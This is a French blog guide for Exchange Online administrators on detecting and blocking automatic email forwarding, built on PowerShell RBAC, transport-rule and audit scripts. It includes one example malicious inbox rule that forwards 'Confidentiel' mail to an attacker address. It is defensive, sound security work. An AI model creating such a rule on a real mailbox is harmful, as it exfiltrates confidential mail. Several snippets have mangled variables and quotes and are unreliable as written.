Skip to content

Exchange Online : Bloquer les transferts automatiques d'emails (Guide 2025)

Brandon Visca
Published date:

Table des matières

Open Table des matières

Introduction

Les transferts automatiques d’emails vers l’extérieur ? Un cauchemar pour tout admin système qui se respecte. Si vous gérez un tenant Exchange Online, vous avez probablement déjà eu cette sueur froide en découvrant qu’un utilisateur a configuré une redirection email vers sa boîte perso… avec toutes les données sensibles qui sortent en prime.

Microsoft n’a pas exactement facilité les choses avec ses multiples canaux de transfert et ses interfaces qui donnent l’illusion de contrôle. Mais rassurez-vous : avec les bonnes commandes PowerShell Exchange Online et une stratégie claire, on peut verrouiller ça proprement.

Dans ce guide, je vous montre comment bloquer efficacement tous les transferts automatiques dans Exchange Online, détecter ceux déjà en place, et mettre en place un monitoring automatisé. Du RBAC aux Transport Rules en passant par l’audit, on couvre tout avec PowerShell Exchange Online sécurité.

Pourquoi c’est un problème majeur en 2025

Avant de foncer tête baissée dans les commandes, comprenons pourquoi Microsoft nous complique la vie avec ses transferts.

Les risques sont multiples et bien réels :

🔓 Fuite de données incontrôlée
Vos emails confidentiels partent vers Gmail, Yahoo ou pire… sans aucune traçabilité.

🛡️ Contournement des protections
ATP (Advanced Threat Protection), DLP, audit logs… tout ça devient inutile si les mails sont redirigés.

⚖️ Non-conformité RGPD
L’entreprise perd la maîtrise de l’information. Bonjour l’amende de la CNIL.

🎯 Vecteur d’exfiltration
Un attaquant peut créer discrètement une règle de transfert pour siphonner vos données.

💡 À savoir : Les cyberattaquants utilisent de plus en plus les règles de transfert automatique pour exfiltrer des données après une intrusion. C’est discret et difficile à détecter.

Les deux canaux de transfert à maîtriser

Exchange Online propose deux mécanismes distincts pour rediriger automatiquement des emails :

1. Redirection globale de boîte (ForwardingAddress)

Cette méthode redirige tous les emails reçus vers une adresse externe :

# Via l'interface OWA ou en PowerShell
Set-Mailbox prenom.nom@domaine.com -ForwardingSmtpAddress "externe@gmail.com"

Exemple de règle pernicieuse

New-InboxRule -Name “Forward Important” -SubjectContainsWords “Confidentiel” -ForwardTo “attaquant@externe.com

Caractéristiques :

Méthode 1 : RBAC – Limiter l’accès aux interfaces

Le RBAC (Role-Based Access Control) permet de retirer les boutons de transfert des interfaces utilisateur. C’est un premier verrou, mais attention aux limitations.

Créer un rôle personnalisé

# Étape 1 : Créer un rôle basé sur MyBaseOptions
New-ManagementRole -Name "MyBaseOptions-NoForward" -Parent "MyBaseOptions"

# Étape 2 : Supprimer les paramètres dangereux
Set-ManagementRoleEntry "MyBaseOptions-NoForward\Set-Mailbox" -RemoveParameter -Parameters @(
    "ForwardingAddress",
    "ForwardingSmtpAddress", 
    "DeliverToMailboxAndForward"
)

Étape 3 : Créer une policy utilisateur

New-RoleAssignmentPolicy -Name “PolicyNoEmailForward” -Roles @( “MyContactInformation”, “MyRetentionPolicies”, “MyBaseOptions-NoForward”, “MyTextMessaging” )

Étape 4 : Appliquer à une boîte

Set-Mailbox prenom.nom@domaine.com -RoleAssignmentPolicy “PolicyNoEmailForward”

⚠️ Erreur fréquente : Le RBAC ne bloque PAS les transferts configurés par un admin, ni les InboxRules, ni les transferts déjà existants. C’est juste cosmétique au niveau interface.

Appliquer en masse

# Appliquer la policy à toutes les boîtes utilisateur
Get-Mailbox -RecipientTypeDetails UserMailbox | Set-Mailbox -RoleAssignmentPolicy "PolicyNoEmailForward"

New-TransportRule -Name “Block-Auto-Forwarding” -SentToScope NotInOrganization -FromScope InOrganization -MessageType AutoForward -ExceptIfFrom @(“admin@votredomaine.com”, “service@votredomaine.com”) ` -RejectMessageReasonText “Le transfert automatique vers l’extérieur est interdit par la politique de sécurité.”

Paramètres expliqués

ParamètreDescriptionPourquoi c’est important
FromScope InOrganizationEmails provenant de votre organisationÉvite de bloquer les emails légitimes entrants
SentToScope NotInOrganizationDestinataire externeCible uniquement les sorties vers l’extérieur
MessageType AutoForwardMessages transférés automatiquementDistingue transfert auto vs transfert manuel
ExceptIfFromListe blanche d’expéditeursPermet les transferts légitimes (comptes de service)

Version avancée avec logging

New-TransportRule -Name "Block-Auto-Forwarding-Advanced" `
  -SentToScope NotInOrganization `
  -FromScope InOrganization `
  -MessageType AutoForward `
  -ExceptIfFrom @("admin@votredomaine.com") `
  -RejectMessageReasonText "Transfert automatique bloqué. Contactez le support IT." `
  -GenerateIncidentReport "admin@votredomaine.com" `
  -IncidentReportContent @("Sender", "Recipients", "Subject", "MessageHeaders")

Trouver toutes les boîtes avec redirection active

$ForwardingMailboxes = Get-Mailbox -ResultSize Unlimited | Where-Object { $.ForwardingSmtpAddress -or $.ForwardingAddress } | Select-Object DisplayName, ForwardingAddress, ForwardingSmtpAddress, PrimarySmtpAddress

Afficher les résultats

$ForwardingMailboxes | Format-Table -AutoSize

Exporter en CSV pour analyse

$ForwardingMailboxes | Export-Csv “C:\temp\forwarding-audit.csv” -NoTypeInformation

Scanner les InboxRules suspectes

# Scanner toutes les règles de transfert
$SuspiciousRules = @()

Get-Mailbox -ResultSize Unlimited | ForEach-Object {
    $Mailbox = $_
    $Rules = Get-InboxRule -Mailbox $Mailbox.Alias | Where-Object {
        $_.ForwardTo -or $_.RedirectTo
    }
    
    foreach ($Rule in $Rules) {
        $SuspiciousRules += [PSCustomObject]@{
            Mailbox = $Mailbox.DisplayName
            Email = $Mailbox.PrimarySmtpAddress
            RuleName = $Rule.Name
            ForwardTo = $Rule.ForwardTo -join "; "
            RedirectTo = $Rule.RedirectTo -join "; "
            Enabled = $Rule.Enabled
        }
    }
}

# Afficher et exporter
$SuspiciousRules | Format-Table -AutoSize
$SuspiciousRules | Export-Csv "C:\temp\inbox-rules-audit.csv" -NoTypeInformation

ATTENTION : Testez d’abord sur quelques boîtes !

Supprimer toutes les redirections ForwardingAddress

Get-Mailbox -ResultSize Unlimited | Where-Object { $.ForwardingSmtpAddress -or $.ForwardingAddress } | Set-Mailbox -ForwardingAddress $null -ForwardingSmtpAddress $null

Supprimer les InboxRules de transfert (plus délicat)

Get-Mailbox -ResultSize Unlimited | ForEach-Object { $Rules = Get-InboxRule -Mailbox $.Alias | Where-Object { $.ForwardTo -or $_.RedirectTo } $Rules | Remove-InboxRule -Confirm:$false }

Script de monitoring automatisé

Créez un script PowerShell planifiable pour détecter quotidiennement les nouveaux transferts :

# Script : Monitor-EmailForwarding.ps1
param(
    [string]$ReportPath = "C:\Scripts\Reports",
    [string]$AdminEmail = "admin@votredomaine.com"
)

# Connexion Exchange Online
Connect-ExchangeOnline -ShowProgress $false

$Date = Get-Date -Format "yyyy-MM-dd"
$Report = @()

# Scan ForwardingAddress
$ForwardingBoxes = Get-Mailbox -ResultSize Unlimited | Where-Object {
    $_.ForwardingSmtpAddress -or $_.ForwardingAddress
}

foreach ($Box in $ForwardingBoxes) {
    $Report += [PSCustomObject]@{
        Type = "ForwardingAddress"
        Mailbox = $Box.DisplayName
        Email = $Box.PrimarySmtpAddress
        Target = $Box.ForwardingSmtpAddress
        Details = "Redirection globale active"
        Date = $Date
    }
}

# Scan InboxRules
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
    $Mailbox = $_
    $Rules = Get-InboxRule -Mailbox $Mailbox.Alias | Where-Object {
        $_.ForwardTo -or $_.RedirectTo
    }
    
    foreach ($Rule in $Rules) {
        $Report += [PSCustomObject]@{
            Type = "InboxRule"
            Mailbox = $Mailbox.DisplayName
            Email = $Mailbox.PrimarySmtpAddress  
            Target = ($Rule.ForwardTo + $Rule.RedirectTo) -join "; "
            Details = "Règle: $($Rule.Name)"
            Date = $Date
        }
    }
}

# Générer le rapport
$ReportFile = "$ReportPath\EmailForwarding-$Date.csv"
$Report | Export-Csv $ReportFile -NoTypeInformation

# Envoyer par email si détections
if ($Report.Count -gt 0) {
    $Subject = "ALERTE : $($Report.Count) transfert(s) d'email détecté(s)"
    $Body = "Transferts détectés le $Date. Voir fichier joint."
    
    Send-MailMessage -To $AdminEmail -Subject $Subject -Body $Body -Attachments $ReportFile -SmtpServer "smtp.office365.com" -Port 587 -UseSsl
}

Write-Host "Scan terminé. $($Report.Count) transfert(s) détecté(s)."

Exemples d’exceptions courantes

$WhitelistedAccounts = @( “noreply@votredomaine.com”, # Comptes de service “notifications@votredomaine.com”, # Notifications automatiques
support@votredomaine.com” # Support client )

Surveillance continue

💡 Astuce pro : Créez un groupe de sécurité « ForwardingExceptions » dans Azure AD pour gérer facilement la liste blanche via les groupes plutôt qu’en dur dans les scripts.

Conclusion

Bloquer les transferts automatiques dans Exchange Online demande une approche méthodique combinant RBAC, Transport Rules et monitoring. C’est un incontournable de la sécurité email en 2025, surtout avec la multiplication des cyberattaques ciblant les messageries d’entreprise.

L’implémentation que je vous ai présentée vous donne un contrôle total sur les flux sortants, mais n’oubliez pas l’aspect humain : vos utilisateurs ont besoin d’alternatives pratiques. Un bon déploiement s’accompagne toujours de formation et d’outils adaptés.

Dans un prochain guide, nous verrons comment aller plus loin avec la protection contre l’exfiltration de données via SharePoint et OneDrive. Car spoiler alert : les transferts emails ne sont qu’une partie du problème…


💬 Une question sur ce guide ? N’hésitez pas à me contacter ou à laisser un commentaire. J’ai probablement déjà rencontré votre cas de figure !

Previous
Swap Linux : comment ne pas transformer ton serveur en escargot asthmatique
Next
Ladybird Browser : Le navigateur web qui refuse de se soumettre à Google (et tant mieux)